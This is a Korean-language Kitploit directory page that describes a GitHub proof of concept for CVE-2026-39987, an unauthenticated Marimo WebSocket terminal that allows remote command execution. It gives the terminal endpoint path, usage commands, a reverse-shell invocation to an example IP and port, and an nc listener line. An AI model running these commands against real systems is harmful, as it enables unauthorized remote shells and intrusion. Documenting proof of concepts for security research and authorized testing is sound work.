Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-39987_RCE_PoC — CVE-2026-39987에 대한 Python 개념 증명으로, 인증되지 않은 WebSocket 터미널 엔드포인트를 악용하여 원격 명령 실행 및 리버스 셸 접근을 달성합니다. | Kitploit
도구/GitHubGitHub/mfahdk/cve-2026-39987_rce_poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRemote Access Tool
GitHubmfahdk/cve-2026-39987_rce_poc

CVE-2026-39987_RCE_PoC

CVE-2026-39987에 대한 Python 개념 증명으로, 인증되지 않은 WebSocket 터미널 엔드포인트를 악용하여 원격 명령 실행 및 리버스 셸 접근을 달성합니다.

저장소 보기
11일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-39987 — Marimo WebSocket RCE PoC

CVE-2026-39987에 대한 Proof of Concept으로, 취약한 WebSocket 터미널 엔드포인트를 통한 원격 명령 실행을 시연합니다.

면책 조항: 이 PoC는 승인된 보안 테스트 및 교육 목적으로만 사용하도록 의도되었습니다. 소유하고 있거나 테스트에 대한 명시적 허가를 받은 시스템에만 사용하십시오.

설명

이 취약점을 통해 인증되지 않은 사용자가 애플리케이션의 WebSocket 터미널 엔드포인트와 상호 작용하고 원격으로 명령을 실행할 수 있습니다.

PoC는 다음에 연결합니다:

root@kitploit:~
wss://<target>/terminal/ws

그리고 WebSocket 연결을 통한 명령 실행을 시연합니다.

이 PoC를 개발/테스트하는 동안 사용된 대상은 승인된 Hack The Box 랩 환경이었습니다.

요구 사항

  • Python 3
  • websocket-client

필요한 라이브러리를 설치하십시오:

root@kitploit:~
pip3 install websocket-client

사용법

root@kitploit:~
python3 test.py <domain>

예시:

root@kitploit:~
python3 test.py somesite.com

PoC는 WebSocket 연결을 설정하고 테스트 명령을 실행합니다.

리버스 셸

PoC는 리버스 셸 옵션도 지원합니다:

root@kitploit:~
python3 exploit.py <domain> --reverse-shell <IP> --port <PORT>

예시:

root@kitploit:~
python3 exploit.py somesite.com --reverse-shell 10.10.14.5 --port 4444

PoC를 실행하기 전에 리스너를 시작하십시오:

root@kitploit:~
nc -lvnp 4444

기술 세부 사항

애플리케이션은 인증을 요구하지 않고 WebSocket 터미널 엔드포인트를 노출합니다.

PoC는:

  1. WebSocket 연결을 설정합니다.
  2. 랩 대상이 자체 서명 인증서를 사용하기 때문에 TLS 인증서 검증을 비활성화합니다.
  3. 초기 터미널 프롬프트를 소비합니다.
  4. WebSocket을 통해 명령을 전송합니다.
  5. 결과 터미널 출력을 읽습니다.

초기 ws.recv()는 서버가 연결을 설정한 직후 셸 프롬프트를 전송하기 때문에 중요합니다.

도구 다운로드